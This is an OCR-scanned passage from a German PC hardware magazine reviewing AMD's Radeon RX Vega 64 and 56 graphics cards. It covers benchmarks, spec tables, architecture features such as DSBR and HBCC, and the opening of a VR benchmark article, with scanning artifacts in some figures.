fühlbar unterhalb der Geforce GTX 
1080 Founder's Edition (80,1). Die 
RX Vega 56 kann sich mit dem In- 
dexwert 65,5 hauchdünn vor die 
GTX 1070 FE (65,3) setzen. Dabei 
gilt es zwei Punkte zu beachten. Ers- 
tens: In den Gesamtindex fliefst zu 
fünf Prozent die Open-CL-Leistung 
ein. Diese fällt bei den Vega-Karten 
sehr hoch aus, hóher als bei den 
GP102-Chips Titan X(p) und GTX 
1080 Ti, was den Endwert leicht 
verbessert. Zweitens: Betrachtet 
man die neuen Spiele-Benchmarks 
abseits des Index isoliert, schnei- 
den die Vega-Chips etwas besser ab. 


Die Vega 64 LCE liegt uns nicht vor, 
unsere Simulation lässt jedoch auf 
einen Indexwert zwischen 77 und 
80 schließen. Wir bemühen uns 
weiter um ein Muster. 


Lautheit: Die Geräuschemission 
der Vega 64 und Vega 56 ist sub- 
jektiv akzeptabel. AMD hat das bei 
früheren Kühlern präsente Pfeifen 
gegen ein tiefes Rauschen, ähnlich 
der Geforce-Kühler, eingetauscht. 
Dennoch ist die maximal erzeug- 
te Lautheit von 4,9 Sone deutlich 
auch aus gedämmten PCs heraus- 
zuhören. Die 0,2 Sone im Leerlauf 
verdienen das Prädikat „gut“. 


Energieeffizienz: Der wohl größte 
Streitpunkt in der Internet-Com- 
munity ist Vegas Energiehunger. 
Vergleicht man den Werkszustand 
der Vega 64 und Vega 56 mit der 
GTX 1080 FE und GTX 1070 FE, 


unterliegt AMD haushoch. Die 
Vega 64 arbeitet offensichtlich 
weit oberhalb der Vernunftgrenze, 
während die Vega 56 eine deutlich 
bessere Fps/Watt-Bilanz erreicht. 
In beiden Fällen erweist sich das 
optionale „Power Save“-Preset als 
gute Wahl, während „Turbo“ in ers- 
ter Linie den Watt- nicht aber den 
Fps-Balken verlängert. Unter dem 
Strich rangiert die Energieeffizienz 
der getesteten Vega-Chips etwa auf 
dem Niveau von Nvidias Maxwell- 
Chips Geforce GTX 980 Ti und 
GTX Titan X. Beim Finale dieses 
Tests am 25. August war Undervol- 
ting via Wattman noch eine wack- 
lige Angelegenheit. Sobald es feh- 
lerfrei funktioniert, werden neue 
Effizienzbetrachtungen möglich. 


Ökosystem: Die Frage „Geforce 
GTX 1080/1070 oder Radeon RX 
Vega 64/56?“ lässt sich nur mit dem 


Blick auf weitere Parameter beant- 
worten. Für die Veganer spricht die 
große Auswahl an günstigen Free- 
sync-Displays, auch AMDs Fokus 
auf offenen Standards inklusive der 
hohen Open-CL-Leistung kann den 
Ausschlag geben. Die Pascal-Chips 
punkten unter anderem mit ihrer 
höheren Energieeffizienz 
Gameworks-Schmankerln, G-Sync- 
LCDs sind jedoch teuer. (rv) 


Fazit Hardware 


Vega für Spieler 

AMD meldet sich zurück in der Ober- 
klasse. Die Vega 64 und Vega 56 lie- 
fern eine hohe, angesichts der langen 
Wartezeit aber nicht sensationelle 
Spiele-Leistung ab. Die Open-CL-Po- 
wer ist jedoch beeindruckend und auch 
technisch ist Vega interessant. Nun er- 
warten wir die ersten Herstellerdesigns. 


sowie 


GRAFIKKARTEN 


Auszug aus Testtabelle 
mit 21 Wertungskriterien 


Produktname 
Hersteller/Webseite 


Radeon RX Vega 64 (Limited Edition) 


AMD (www.amd.com/de) 


Radeon Vega Frontier Edition Air 
AMD (www.amd.com/de) 


Radeon RX Vega 56 
AMD (www.amd.com/de) 


Ca.-Preis/Preis-Leistungs-Verhältnis 


Grafikeinheit; Codename (Fertigung) 


Ca. € 650,-/ausreichend 


Ca. € 1.100,-/mangelhaft 


Ca. € 410,-/befriedigend 


PCGH-Preisvergleich 


www.pcgh.de/preis/1664779 


www.pcgh.de/preis/1646319 


Noch nicht aufgeführt 


Radeon RX Vega 64; Vega 10 XT A1 (14 nm) 


Radeon Vega FE; Vega 10 XT A1 (14 nm) 


Radeon RX Vega 56; Vega 10 XL A1 (14 nm) 


Shader-ALUs/Textureinheiten/ROPs 4.096/256/64 4.096/256/64 3.584/224/64 

2D-Taktfrequenzen GPU/RAM 852/167 MHz 852/167 MHz 852/167 MHz 

3D-Taktfrequenzen GPU/RAM 1.370+ (max. Boost: 1.630)/945 MHz 1.2904- (max. Boost: 1.600)/945 MHz 1.2504- (max. Boost: 1.590)/800 MHz 
Ausstattung (20 %) 2,48 2,28 2,48 
Speichermenge/Anbindung 8.192 MiByte (2.048 Bit) 16.384 MiByte (2.048 Bit) 8.192 MiByte (2.048 Bit) 


Speicherart 


High Bandwidth Memory gen2 (, HBM2") 


High Bandwidth Memory gen2 (,HBM2”) 


High Bandwidth Memory gen2 („HBM2”) 


Monitoranschlüsse 


3 x Displayport (1.4-ready), 1 x HDMI 2.0b 


3 x Displayport (1.4-ready), 1 x HDMI 2.0b 


3 x Displayport (1.4-ready), 1 x HDMI 2.0b 


Kühlung Referenzdesign (DHE), Dual-Slot, Vollverschalung (eloxiertes |Referenzdesign (ОНЕ), Dual-Slot, Vollverschalung (eloxiertes | Referenzdesign (ОНЕ), Dual-Slot, schwarze Vollverschalung inkl. 
Aluminium) inkl. 75-mm-Radiallüfter & Backplate Aluminium) inkl. 75-mm-Radiallüfter & Backplate 75-mm-Radiallüfter & Backplate 

Software/Tools/Spiele Bei Limited Edition Spiele-Bündel inkl. (Prey, Sniper Elite 4) = Je nach Boardpartner 

Handbuch; Garantie Je nach Boardpartner (mindestens 2 Jahre) Gedruckt (deutsch); 1 Jahr (2 Jahre Gewährleistung) Je nach Boardpartner (mindestens 2 Jahre) 

Kabel/Adapter/Beigaben Je nach Boardpartner DP-auf-DVI-D-Adapterkabel Je nach Boardpartner 

Sonstiges Getestet mit , Balanced"-Setting (max. 2.400 U/Min); Dual-BIOS; LED. Schalter: Zero Core Power, SKU: 100-506061; |Getestet mit , Balanced"-Setting (max. 2.400 U/Min); 
Dual-BIOS; LED-Schalter; Zero Core; Board Power 295W HBM kennt vier States: 945, 800, 500, 167 MHz Dual-BIOS; LED-Schalter; Zero Core; Board Power 210W 

Eigenschaften (20 %) 2,46 2,37 2,28 

Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 36/84/84 Grad Celsius 53/85/85 Grad Celsius 37/76/76 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,2 (16 %)/4,9 (50 %)/4,9 (50 %) Sone 


0,1 (13 %)/3,6 (42 %)/3,6 (42 %) Sone 


0,2 (14 %)/4,9 (49 %)/4,9 (49 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


14,5/26/15 Watt 


17/26/22 Watt 


15/26/15,5 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


288/289/290 Watt (Powertarget: 100 Prozent) 


252/259/265 Watt (Powertarget: 100 Prozent) 


216/216/218 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


71.750 MHz mit 100 96 Power/Voltage/Fan 


71.700 MHz mit 100 96 Power/Voltage/Fan 


-1.700 MHz mit 100 96 Power/Voltage/Fan 


Maximale RAM-Übertaktung (UHD-stabil) 


71.000 MHz mit 100 96 Power/Voltage/Fan 


1.100 MHz mit 100 96 Power/Voltage/Fan 


-950 MHz mit 100 % Power/Voltage/Fan 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU/RAM-Ctlr. bis 1,20 Volt), Powerlimit bis +50 96 


Ja (GPU/RAM-Ctlr. bis 1,25 Volt), Powerlimit bis +50 % 


Ja (GPU/RAM-Ctir. bis 1,20 Volt), Powerlimit bis +50 96 


Länge/Breite/Höhe der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 
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26,7 (PCB: 26,7x9,9)/3,5 cm; 2 x 8-Pol (vertikal) 
2,01 


© Ltd. Edition mit silbernem Kühler + Spiele-Bundle 
€ Schnellste luftgekühlte Radeon 
© Langsamer als GTX 1080 FE 


Wertung: 2,19 


26,7 (PCB: 26,7x10,0)/3,5 cm; 2 x 8-Pol (vertikal) 
PAL] 


© 16 GiByte Speicher 
© Sehr hohe CAD-Leistung ... 
© Hoher Preis 


Wertung: 2,24 


26,7 (PCB: 26,7x9,9)/3,5 cm; 2 x 8-Pol (vertikal) 
2,30 


© Gute Energie-Effizienz 
© Etwas schneller als GTX 1070 FE 
© Unnötig laute Belüftung 


Wertung: 2,33 
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Vegas neue Architektur 


e groben Eckdaten der Vega- 
D 10-GPU haben wir bereits er- 
wähnt: 12,5 Mrd. Transistoren auf 
486 mm? verschalten vier Geome- 
trie-, ACE- und Shader-Engines mit 
zusammen 4.096 Rechenwerken à 
2 Floating-Point-Operationen pro 
Sekunde. 256 Textureinheiten und 
64 Rasterendstufen sind ebenso mit 
an Bord wie 4 MiB Level-2-Cache 
und eine 2.048 Bit breite Schnitt- 
stelle zum HBM zweiter Generation 
(HBM gen2 oder kurz HBM2) - ei- 
nen Überblick gibt das Diagramm 
rechts. Doch Vega steckt voller wei- 
terer, mit klangvollen Schlagwör- 
tern versehenen Techniken. 


DSBR 

Der „Draw Stream Binning Raste- 
rizer“ dient in erster Linie dazu, 
Transferrate zum HBM zu sparen 
und die Vega-GPU so effizienter ar- 
beiten zu lassen. DSBR ist derzeit im 
Treiber nicht durchweg aktiv und 
wird hauptsächlich für DX-11-An- 
wendungen genutzt. Die im Trei- 
ber enthaltene Entscheidungslogik 
kann DSBR aktivieren oder abschal- 


ten, wenn aufgrund der Verhaltens- 
muster kein erkennbarer Nutzen 
vermutet wird - denn dann kostet 
das Feature nur Energie. Im Normal- 
fall jedoch sortieren die Einheiten 
zwischen Geometrie- und Shader- 
Engine den hereinfließenden Strom 
an Dreiecken für den Rasterisierer 
vor, um nicht sichtbare Polygone, 
die etwa von anderen verdeckt 
werden oder kleiner als ein einzel- 
nes Pixel sind, auszusieben. Dabei 
unterteilen sie das Bild in einzelne 
Kacheln, von denen jede in einen 
separaten Zwischenspeicher passt, 
um Schreibzugriffe auf den lokalen 
Grafikspeicher zu vermeiden. Erst 
wenn alle Tiefeninformationen für 
eine Kachel vorliegen und feststeht, 
welche Polygone sichtbar sein wer- 
den und welche nicht, wird der In- 
halt des Zwischenspeichers in den 
lokalen Grafikspeicher geschrie- 
ben. Sind zu viele Geometriedaten 
vorhanden, wird die Kachelgröße 
verringert, bis sie alle hineinpassen 
- das kann der Treiber zur Laufzeit 
entscheiden. AMD geht von bis zu 
30 % eingesparter Transferrate pro 


ПП 


ИН: 
Ш 


Das Blockschaltbild von Vega 10 zeigt den schematischen Aufbau дег GPU. Gut zu er- 
kennen: Die Aufteilung in vier Shader-Engines mit eigener Geometrie-Engine und DSBR. 


Bild aus und prognostiziert für sol- 
che ЕаПе teilweise bis zu 10 % Leis- 
tungszuwachs. Nachmessen können 
wir das nicht, da sich der DSBR der 
Nutzerkontrolle entzieht. 


,Primitive" Shader 
Bei dem oder den Primitive Sha- 
dern handelt es sich nicht etwa um 


besonders einfache Aufgaben, son- 
dern um eine Zusammenfassung 
verschiedener Aufgaben der Vertex- 
und Geometry-Shader innerhalb 
der GPU-Pipeline. Die Primitiven 
sind hier geometrische Grundfor- 
men. Abgearbeitet werden sie von 
den ganz normalen Shader-Rechen- 
werken. Nur der benötigte, ge- 


Bild: AMD 


Low-Level-Messungen: Auszug aus der Beyond3D-Suite 


Polygone (Mio. Dreiecke/Sek.) Strip/List (100 % culled) Strip/List (50 % culled) Strip/List (0 % culled) List (100 95/0 % culled) 
Rad. Vega 64 (<=1630e-1,89m) 6.263/6.105 6.416/6.104 4.124/3.708 2.168/2.178 
Rad. Vega 56 (<=1590e-1,60m) 6.152/5.960 6.262/5.925 3.978/3.589 2.103/2.127 
Rad. Vega 64 (@-1050e-2,00m) 4.158/3.955 4.163/3.959 2.919/2.619 1.408/1.413 
R9 Fury X (1050e-1,0m) 2.273/3.908 1.721/3.927 1.712/2.569 .394/1.394 
R9 390X OC (1080e-6,0m) 2.378/3.998 2.190/4.033 2.185/2.775 1.434/1.435 
RX 580 OC (1425e-8,0m) 5.354/5.282 4.756/4.187 2.544/2.393 .148/1.886 
GTX 1070 FE («1879e-8,0m) 10.133/10.039 5.043/4.554 2.365/1.765 2.053/2.051 
Effektive Speicher-Transferrate (MByte/s) * 1 Textur 2 Texturen 4 Texturen 8 Texturen 16 Texturen 32 Texturen 


Rad. Vega 64 (<=1630e-1,89m) 


303/427 (+41 96 


307/393 (+28 % 


325/396 (+22 %) 


350/397 (+13 % 


360/393 (+9 %) 


358/385 (+7 %) 


Каа. Меда 56 (<=1590е-1,60т) 


288/379 (+32 % 


297/367 (+24 %) 


314/359 (+14 % 


321/352 (+9 %) 


320/344 (+8 %) 


Каа. Vega 64 (@-1050e-2,00m) 


355/403 (+13 %) 


350/398 (+14 %) 


R9 Fury X (1050е-1,0т) 


) 
294/418 (+42 %) 
283/384 (+35 %) 
349/411 (+18 %) 


) 
( ) 
300/377 (+25 %) 
389/481 (+24 %) 


( 
327/392 (+20 %) 
429/483 (+13 %) 


) 
( ) 
353/402 (+14 %) 
455/503 (+11 %) 


454/473 (+4 %) 


309/308 (+0 %) 


R9 390Х ОС (1080е-6,0т) 


309/309 (+0 %) 


319/319 (+0 %) 


318/318 (+0 %) 


340/340 (+0 %) 


335/335 (+0 %) 


326/326 (+0 %) 


RX 580 ОС (1425е-8,0т) 195/286 (+47 %) 205/279 (+36 %) 213/258 (+21 %) 219/242 (+11 %) 208/217 (+4 %) 172/174 (+2 %) 
СТХ 1070 ЕЕ (<1879е-8,0т) 189/474 (+151 96) | 205/608 (+197 96) | 208/684 (+229 %) | 195/593 (+204 96) | 207/578 (+179 96) | 213/344 (+62 %) 
Füllraten (Pixel/Depth/Texturen, Mrd./Sek.) Pixel Depth Reject/Write (Verhältnis) | Texturen UINT8/16 (32/64 Bit) | Texturen FP32 (1x/2x/3x/4x) 
Rad. Vega 64 (<=1630e-1,89m) 96,8 380/99 (3,86: Sn tA S 327/175/120/91 

Rad. Vega 56 (<=1590e-1,60m) 92,5 372/95 (3,92: 264/141 27714319774 

Rad. Vega 64 (@-1050e-2,00m) 66,5 266/67 (3,97: 255/137 257/137/91/67 

R9 Fury X (1050e-1,0m) 61,1 201/63 (3,17: 245/134 248/134/90/67 

R9 390X 0C (1080e-6,0m) 66,3 220/65 (3,38: 181/91 183/91/61/46 

RX 580 OC (1425e-8,0m) 41 144/45 (3,21: 159/98 157/99/67/51 

GTX 1070 FE («1879e-8,0m) 83,8 358/76 (4,73: 195/194 196/193/73/55 
System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1703), GF 385.12 (HQ-AF), RS 17.8.1 Beta (HQ-AF) 
Bemerkungen: Die bei der Vega FE noch schwächelnde Texturfüllrate sowie den Speichertransfer unter Open CL (nicht abgebildet) haben die neuen Treiber bei der RX Vega in den Griff 
bekommen. *Gemessen durch die erreichbare Texturtransferrate: Ein Durchlauf mit so gut wie unkomprimierbarer Textur (zufälliger Inhalt), ein Durchlauf mit sehr gut komprimierbarer Tex- 


tur (einfarbiger Inhalt). Zuwachs durch Kompression/bessere Nutzung des Texturcaches in Prozent. Die RX-Vega-Ergebnisse kónnten unter der kurzen Testlaufzeit leiden. 
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meinsame Datenzugriff könnte 
einen Probelauf in Architekturen 
wie Polaris möglicherweise bis- 
lang verhindert haben. Leider sind, 
wie AMD uns bestätigte, die Primi- 
tive Shader in aktuellen Treibern 


noch nicht aktiv - anderslautende 


Informationen beruhten auf Miss- 
verständnissen. Man arbeite der- 
zeit an einer Version, die mangels 
API-Support erst einmal im Treiber 
hinterlegt werden soll, um dann bei 
Bedarf als alternativer Pfad, sozusa- 
gen als Umleitung für die normale 


Exklusiver Cache-Modus 


DRAM 


High Bandwidth 
Cache 


L1 Cache ei SRAM 
Registers (655) SRAM 


Inklusiver Cache-Modus 


System 
Memory/Storage 
DRAM, 
NVRAM 


HBCC 
Segmente 


High Bandwidth 
Cache 
HBM2 


L2 Cache SRAM 


L1 Cache 


Registers 


Der HBCC nutzt lokalen Speicher auf verschiedene Weisen: Als inklusiven oder als 
exklusiven Cache, bei dem Inhalte entweder im HBM oder im Systemspeicher liegen. 


Bearbeitungsreihenfolge, aktiviert 
werden zu können. Das klingt ganz 
nach einer selektiven Aktivierung, 
solange Spieleprogrammierer das 
nicht etwa über Vulkan- oder Open- 
GL-Erweiterungen (die es derzeit 
auch noch nicht gibt) eigenständig 
einbauen. Einmal aktiv, können Pri- 
mitive Shader dazu genutzt werden, 
nicht sichtbare Geometrie aus der 
Pipeline zu entfernen, noch bevor 
sie wertvolle Ressourcen im Bereich 
des DSBR belegen. Primitive Shader 
können also dem DSBR helfen, ef- 
fizienter zu arbeiten, indem etwa 
weniger Geometrie Batches ange- 
legt werden müssen. Im Idealfall 
reichen die auf der GPU befindli- 
chen, spezialisierten Pufferspeicher 
länger oder gar für den gesamten 
Sortierungsprozess aus, sodass der 
Umweg über mehrere Durchläufe 
und den Level-2-Cache nicht gegan- 
gen werden muss. Mittels des , Vega 
NGG Fast Path“, so AMD, sei Vega 10 
in der Lage, bis zu 17 Polygone pro 
Takt zu entfernen - bei einem Limit 
von nach wie vor vier gezeichneten 
Dreiecken pro Takt. 


Der HBCC 

Für Vega setzt AMD auf High Band- 
width Memory der zweiten Gene- 
ration: HBM gen2, oft auch noch 


verkürzter HBM2. Der wird laut 
aktueller Aussage von AMD derzeit 
ausschließlich von Samsung beige- 
steuert und bietet im Vergleich zum 
Vorgänger HBM gen1 höhere Fre- 
quenzen und Kapazitäten. Bei der 
Vega 10 hat AMD aus Kostengrün- 
den daher auf die Hälfte des HBM1- 
Speichercontrollers im Vergleich 
zum Vorgängerchip Fiji verzichtet, 
erreicht mit bis zu 483 GB/s aber 
trotzdem nahezu dieselben Trans- 
ferraten - bei halbem Materialein- 
satz. Im Gegensatz zur Vega Frontier 
Edition, welche mit 16 GiByte aus- 
gestattet ist, müssen AMDs Gamer- 
karten der RX-Vega-Reihe bislang 
mit nur 8 GiByte auskommen. Doch 
AMD bewirbt den Grafikspeicher 
inzwischen als „High Bandwidth 
Cache“ den Speichercontroller 
entsprechend als „High Bandwidth 
Cache Controller“. Das Ganze funk- 
tioniert wie virtualisierter Speicher 
und der HBCC kann den lokalen 
HBM2 als Cache für die meistbenö- 
tigten Daten nutzen. Dessen Größe 
lässt sich relativ frei wählen - bei 
den PCGH vorliegenden Vega-Kar- 
ten und unseren mit 32 GiByte RAM 
ausgestatteten Testsystemen bis zu 
24 GiByte. Praktisch ist, dass der 
gesamte Speicherbereich dann als 
einheitlicher Pool erscheint (uni- 


Vega (64) und HBCC ohne Speichermangel (1) 


Vega (64) und HBCC ohne Speichermangel (2) 


Metro Last Light Redux , Crossing": Max. Details, 2x SSAA (in-game) 


1080р: HBCC ап (+4 GiB) Egg pes 80,4 (+12 %) 
1080p: HBCC aus (default) Xp 72,1 (Basis) 


1440p: HBCC an (+4 СІВ) Eg 46,1 (+12 96) 
1440p: HBCC aus (default) EX; 41,0 (Basis) 


1440p: HBCC ап (+4 GiB) ШЕ 18,6 (+6 96) 
1440p: HBCC aus (default) ВЕ 58 17,6 (Basis) 


Metro Last Light Redux , Crossing": Max. Details, ohne Supersample-AA 


1080p: НВСС an (+4 GiB) Ens es 136,4 (+6 %) 
1080р: HBCC aus (default) uB 128,3 (Basis) 


1440р: HBCC an (+4 GiB) ВЕБ 89,5 (+11 96) 
1440р: HBCC aus (default) [Xm Cx 80,3 (Basis) 


1440p: НВСС an (+4 GiB) SESI 39,4 (+14 %) 
1440р: HBCC aus (default) ШЕ 318 34,6 (Basis) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB 
Corsair DDR4-3000 (17); Windows 10 x64 (1703), RSCE 17.8.1 WHQL (HQ-AF) 
Bemerkungen: Die verbesserte Speicherverwaltung beschert bis zu 12 96 mehr Leistung. 


Mimil 2 Fps 


> Besser 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB 
Corsair DDR4-3000 (1T); Windows 10 x64 (1703), RSCE 17.8.1 WHQL (HQ-AF) Bemer- 
kungen: Ohne SSAA stellt sich ein größerer Zugewinn erst in höheren Auflösungen ein. 


Mimil @ Fps 


» Besser 


Analyse der Bildlaufzeiten ergeben in Metro keine Nachteile für HBCC 


FRAFS Bench Viewer. FRAFS Bench Viewer 


HBCC an: Metro Last Light Redux in 1.920 x 1.080 mit 2х55АА HBCC aus: Metro Last Light Redux in 1.920 x 1.080 mit 2xSSAA 


Statistics (entire fie) MBCC an (+4 буе) Statistics (entire file) MBCC aus (default) 
tur 1 1.920 x 1.060, max. Details + 2x SSAA 


Avg. time: (80 res) 1.920 x 1,060, max. Details + 2x SSAA Avg- time: 12,7 (ares) 
1% time: 15,1 (66 FPS) PCGH GPU Benchma/ 1% time: 159 (63 FPS) PCGH-GPU- 
0.1% time: ders) Metro Last Light Redux (0X11) 0.1% time: 192 Le Metro Last Light Redux (Ох11) 


165 
1,5 K frames: (0 - 1595) 


1A К frames: (0 - 1459) 
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fied memory), Applikationen sehen 
folglich nicht 8 + X GiByte, sondern 
beispielsweise volle 32 GiByte. 


GPU und Treiber kümmern sich bei 
aktivem HBCC um die intelligente 
Verwaltung der Speicherressour- 
cen, beispielsweise darum, dass 
häufig benötigte Daten im HBM 
verweilen und die verwendeten 
Pakete aus dem RAM gezogen und 
danach lokal vorgehalten werden. 
Das funktioniert nicht nur bei ei- 
ner Überbelegung, also mehr als 
8 GiByte Speicherverbrauch, son- 
dern auch darunter - hier kann die 
bessere Aufteilung der Daten in 
Caching-freundliche Pages von Vor- 
teil sein. Gegenüber der Standard- 
Zuteilung („Allocation“) lassen sich 
so effizientere Zugriffsmuster re- 
alisieren. Wie unsere Benchmarks 
zeigen, sind in Einzelfällen 14 bis 
16 Prozent höhere Fps-Raten mög- 
lich - als Paradebeispiel etwa Metro 
Last Light Redux aus dem früheren 
PCGH-Grafiktestparcours. Wäh- 
rend in unseren Tests die Frame- 
times vereinzelt zwar schlechter, 
teils aber auch besser ausfielen, 
beobachteten andere Tester auch 
Verschlechterungen speziell bei 
99-%-Perzentilen (also den verteil- 
ten Minimal-Fps). Bei Tests mit wei- 
teren Spielen, etwa Crysis 3, Rise of 
the Tomb Raider, Deus Ex: Mankind 
Divided, The Talos Principle oder 
Bioshock Infinite zeigte sich, dass 
es nur vereinzelt zu geringen Leis- 
tungsrückgängen kam. Im Zweifel 


| Allocation | | Allocation | 

| Allocation | | Allocation | 

| Allocation | | Allocation | 

Systemspeicher 
{ { 
| Allocation | Allocation | | Page | Page | Раде | Page || Page | Page || Page || Page 
| Allocation | Allocation | Page || Page | Page || Page | Page || Page || Page | Page 
eegen | Allocation | | FE Page || Page Page. Page | Page | Page | ae | 
Lokaler Grafikspeicher (ohne HBCC) Lokaler Grafikspeicher (mit HBCC) 


Der HBCC ist nicht nur bei einem Speicherüberlauf nützlich, er kann auch bei ausreichend vorhandener HBM-Kapazität durch die 


Ansteuerung als Cache mit optimierten Pag 


gilt: Für Ihre Lieblingsspiele selbst 
ausprobieren und die entsprechen- 
de Einstellung als Profil abzuspei- 
chern - dabei nicht vergessen, auf 
den für HBCC-Segmente separat 
eingeblendeten „Übernehmen‘- 
Schalter zu klicken. 


12.500 Millionen Transistoren 
Mit 12,5 Mrd. Schaltungen beher- 
bergt Vega 10 rund 40 Prozent 
mehr Schaltkreise als Fiji - dank 
14-nm-Fertigung bei Globalfound- 
ries bleibt der Chip dabei jedoch 
kleiner. Doch auf den ersten Blick 
erschließt sich bei ähnlichen Eckda- 
ten wie 4.096 Shadern nicht, wohin 
die Transistorflut geflossen ist. AMD 


e-Größen einen Leistungsvorteil erzielen. 


selbst gibt an, viele Schaltungen sei- 
en nötig gewesen, um das Design fit 
für die hohen Taktraten zu machen, 
denn Vega übertrumpft nicht nur 
Fiji deutlich, sondern auch AMDs 
ebenfalls schon in 14-nm-Technik 
produzierten Mittelklasse-Chip Po- 
laris. Für den höheren Takt wurden 
etwa Caches mehrfach ausgelegt, 
damit sie näher an ihren „Verbrau- 
сһегп“ liegen, die Verdrahtung kür- 
zer ausfällt und somit ein höherer 
Takt möglich wurde. Auch wurden 
in einigen Bereichen zusätzliche 
Pipeline-Stufen eingefügt, die eben- 
falls viele Transistoren kosten - die 
GCN zugrundeliegende Kadenz 
von vier Takten bei den Shader-Re- 


DirectX 12: Feature-Level im Vergleich — Vega, die kompletteste Desktop-GPU 


chenwerken hat man jedoch nicht 
angerührt. Zu guter Letzt hat AMD 
auch etliche Caches auf dem Chip 
neu eingeführt oder vergrößert - so 
wurde etwa der Level-2-Cache auf 
nun 4 MiByte verdoppelt; der HBCC 
sowie die vier DSBRs benötigen 
ebenfalls viele SRAM-Zellen 


Insgesamt läuft Vega bei vergleich- 
baren bis niedrigerem Stromver- 
brauch und dabei höherer Leis- 
tung also deutlich effizienter als 
Fiji, auch wenn ein großer Teil der 
heute spürbaren Verbesserungen 
einstweilen nur vom höheren Takt 
stammt und noch einiges an Poten- 
zial im Treiber schlummert. (cs) 


Grafikkarten (Beispiele) 


GTX-900-Reihe 


Radeon RX 460 bis 580 


GTX-10-Reihe, Titan Xp 


Radeon RX Vega 64/56 


HD Graphics 610 - 630, 


Ausprobiert anhand von ... 


Geforce GTX 980 


Geforce GTX 1070 


Radeon RX Vega 64 


Pent. G4560 (HD Gr. 610) 


Radeon RX 480 


Treiberversion 385.12 385.12 17.8.1 21.20.16.4589 17.8.1 
Direct-X-API-Support 12 12 12 12 12 
Maximaler Feature-Level 24 12.1 12-1 12.1 120 
Conservative Raster./Raster. Ordered Views Tier 1/Ja Tier 2/Ja Tier 3/Ja Tier 3/Ja Beides nicht unterstützt 
Resources: Tiled/Binding/Heap Tier 3/Tier 3/Tier 1 Tier 3/Tier 3/Tier 1 Tier 3/Tier 3/Tier 2 Tier 3/Tier 3/Tier 2 Tier 2/Tier 3/Tier 2 
Cross-Adapter Row Major Texture Nicht unterstützt Nicht unterstützt Nicht unterstützt a Nicht unterstützt 
VP/RT ohne GS-Emulation Nicht unterstützt Ja Ja a Ja 

PS Specified Stencil Reference Nicht unterstützt Nicht unterstützt Ja a Ja 

Max GPU VM Bits pro Prozess/Ressource 40/40 40/40 44/44 48/38 40/40 
Standard Swizzle 64KB Nicht unterstützt Nicht unterstützt Nicht unterstützt a Nicht unterstützt 
Cross-Node-Sharing Nicht unterstützt Nicht unterstützt Nicht unterstützt Nicht unterstützt Nicht unterstützt 


Minimum Precision Volle Prázision Volle Prázision 16/32 Bit Volle Prázision* * * * Volle Präzision 
Double-Precision Shaders Ja Ja Ja a Ja 
UMA/Cache Coherent UMA N. unterst./n. unterst. N. unterst./n. unterst. N. unterst./n. unterst. Ja/Ja N. unterst./n. unterst. 
Asynchronous Compute (DX12) Nicht unterstützt*** Jein*** Ja Nicht unterstützt*** Ja 
Graphics/Compute Preemption DMA Buffer/DMA Buffer Pixel/Primitive Primitive/DMA Buffer Triangle/Pixel Ja 


Asynchronous Compute, „es sei derzeit im 


***DX12-Treiber akzeptieren Befehle aus Graphics/Compute-Queue, in d 


er Hardware werden sie jedoch nicht parallelisiert sondern 
Treiber nicht aktiviert". Pascal unterstützt AC durch dynamische Zuweisung einzelner S. 
Mischbeschickung eines SMs aus beiden Warps. Intels Sky/Kaby Lake-IGP arbeitet asynchrone Aufgaben seriell ab. ****Unter 11.3 wird das Feature unterstützt. 


seriell ausgeführt. Laut Nvidia unterstützt Maxwell 2.0 
s an die Graphics und Compute Queues, jedoch keine 
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VR.auf dem; . - 
Prüfstand ` 


Láutet VR ein Comback für Benchpro- 

gramme ein? Wir haben zehn Karten mit \ 
entsprechender Software б е! ипа 
die Daten analysiert. 


je 
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enchmarks sind eigentlich 
D. gute Móglichkeit, die Per- 
formance von unterschiedlicher 
Hardware verschiedener Herstel- 
ler untereinander zu vergleichen. 
Jedoch haben sich synthetische 
Benchmarks im Laufe der Zeit eher 
zu einer aufwendigen Grafikdemo 
entwickelt, als praxisnahe Werte 
zu liefern. Bei VR kónnten solche 
Testprogramme wieder ein Revi- 
val feiern, denn das Überprüfen 
der Hardwaretauglichkeit für die 
ressourcenhungrigen УК-ВгШеп 
befindet sich noch in den Kinder- 
schuhen. Wir stellen Ihnen einige 
Bench-Tools vor und schicken zehn 
Grafikkarten mit unterschiedlichen 
Architekturen, Betriebsjahren und 
Preisspannen in den VR-Testpar- 
cour. 


Die Testmóglichkeiten 

Insgesamt haben wir die Grafikkar- 
ten mit drei Benchmark-Tools unter 
die Lupe genommen: das interne 
Testtool von Steam, die Erweite- 
rung VRMark von Futuremark und 
zu guter letzt, VRScore vom finni- 
schen Hersteller Base Mark. 


Steam VR-Performance-Test-Tool: 
Da Valve in Kooperation mit HTC 
die Vive herausgebracht hat, 
verwundert es nicht, wenn ein 
Steam-internes Benchmark-Tool 
angeboten wird. Das Performance- 
Test-Programm bildet dabei nur 
einen kleinen Teil der Steam-VR- 
Umgebung und soll in erster Linie 
Anhaltspunkte zur VR-Tauglichkeit 
der eigenen Hardware liefern. 
Einstellungsmöglichkeiten sucht 
man vielleicht auch deshalb ver- 
geblich. Getestet wird mit der 
Programmierschnittstelle Direct- 


X-11 (Dx11), ob die CPU und GPU 


die Bildwiederholrate von 90 Fps 
stemmen können, die von der Vive 
und der Oculus vorgegeben wird. 
Im Umkehrschluss bedeutet das, 
dass der Rechner in der Lage sein 
